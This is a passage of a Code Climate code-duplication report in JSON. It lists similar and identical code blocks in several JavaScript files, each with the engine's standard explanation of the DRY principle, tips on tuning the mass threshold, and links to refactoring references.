configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"ef21ab3df8b01ca7e22d4d8804157d7a","severity":"major","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 3 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"app/assets/javascripts/api.js","lines":{"begin":208,"end":211}},"remediation_points":1140000,"other_locations":[{"path":"app/assets/javascripts/api.js","lines":{"begin":213,"end":216}},{"path":"app/assets/javascripts/api.js","lines":{"begin":218,"end":221}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 73**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"8774a69c35e7469e5831f013a372ab41","severity":"major","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 3 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"app/assets/javascripts/api.js","lines":{"begin":213,"end":216}},"remediation_points":1140000,"other_locations":[{"path":"app/assets/javascripts/api.js","lines":{"begin":208,"end":211}},{"path":"app/assets/javascripts/api.js","lines":{"begin":218,"end":221}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 73**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"8774a69c35e7469e5831f013a372ab41","severity":"major","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 3 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"app/assets/javascripts/api.js","lines":{"begin":218,"end":221}},"remediation_points":1140000,"other_locations":[{"path":"app/assets/javascripts/api.js","lines":{"begin":208,"end":211}},{"path":"app/assets/javascripts/api.js","lines":{"begin":213,"end":216}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 73**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"8774a69c35e7469e5831f013a372ab41","severity":"major","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 3 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"app/assets/javascripts/pipelines/mixins/pipelines.js","lines":{"begin":58,"end":63}},"remediation_points":1110000,"other_locations":[{"path":"app/assets/javascripts/boards/components/board_sidebar.js","lines":{"begin":95,"end":100}},{"path":"app/assets/javascripts/boards/index.js","lines":{"begin":84,"end":89}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 72**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"6b694c569da1307b1f359dff7c2ba96a","severity":"major","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 3 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"app/assets/javascripts/boards/components/board_sidebar.js","lines":{"begin":95,"end":100}},"remediation_points":1110000,"other_locations":[{"path":"app/assets/javascripts/boards/index.js","lines":{"begin":84,"end":89}},{"path":"app/assets/javascripts/pipelines/mixins/pipelines.js","lines":{"begin":58,"end":63}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 72**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"3334e14e9af8a36a250b2eeea4a85929","severity":"major","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 3 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"app/assets/javascripts/boards/index.js","lines":{"begin":84,"end":89}},"remediation_points":1110000,"other_locations":[{"path":"app/assets/javascripts/boards/components/board_sidebar.js","lines":{"begin":95,"end":100}},{"path":"app/assets/javascripts/pipelines/mixins/pipelines.js","lines":{"begin":58,"end":63}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 72**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"7f09eaadb7107879ce06fbd895c6dfd2","severity":"major","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 2 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"app/assets/javascripts/issue.js","lines":{"begin":133,"end":142}},"remediation_points":2130000,"other_locations":[{"path":"app/assets/javascripts/issue.js","lines":{"begin":144,"end":153}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 106**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"316f57fc6559be3f06b67e902431d4f3","severity":"major","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 2 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"app/assets/javascripts/issue.js","lines":{"begin":144,"end":153}},"remediation_points":2130000,"other_locations":[{"path":"app/assets/javascripts/issue.js","lines":{"begin":133,"end":142}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 106**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"316f57fc6559be3f06b67e902431d4f3","severity":"major","engine_name":"duplication"},{"type":"issue","check_name":"identical-code","description":"Identical blocks of code found in 2 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"app/assets/javascripts/pages/groups/settings/ci_cd/show/index.js","lines":{"begin":10,"end":15}},"remediation_points":480000,"other_locations":[{"path":"app/assets/javascripts/pages/projects/settings/ci_cd/show/index.js","lines":{"begin":19,"end":24}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 51**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"7d9d7ed069d90637ae3219e74dfc3a6a","severity":"minor","engine_name":"duplication"},{"type":"issue","check_name":"identical-code","description":"Identical blocks of code found in 2 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"app/assets/javascripts/pages/projects/settings/ci_cd/show/index.js","lines":{"begin":19,"end":24}},"remediation_points":480000,"other_locations":[{"path":"app/assets/javascripts/pages/groups/settings/ci_cd/show/index.js","lines":{"begin":10,"end":15}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 51**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"de8d186c2d499f4864bd5be7db1ddad4","severity":"minor","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 2 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"app/assets/javascripts/u2f/register.js","lines":{"begin":44,"end":53}},"remediation_points":2010000,"other_locations":[{"path":"app/assets/javascripts/u2f/authenticate.js","lines":{"begin":59,"end":68}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 102**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"c1e5733385780c688efc3db1ad11f746","severity":"major","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 2 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"app/assets/javascripts/u2f/authenticate.js","lines":{"begin":59,"end":68}},"remediation_points":2010000,"other_locations":[{"path":"app/assets/javascripts/u2f/register.js","lines":{"begin":44,"end":53}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 102**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"8de13799b826a6e485d4019569e6c278","severity":"major","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 2 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"app/assets/javascripts/create_merge_request_dropdown.js","lines":{"begin":112,"end":122}},"remediation_points":1980000,"other_locations":[{"path":"app/assets/javascripts/create_merge_request_dropdown.js","lines":{"begin":124,"end":134}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 101**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold 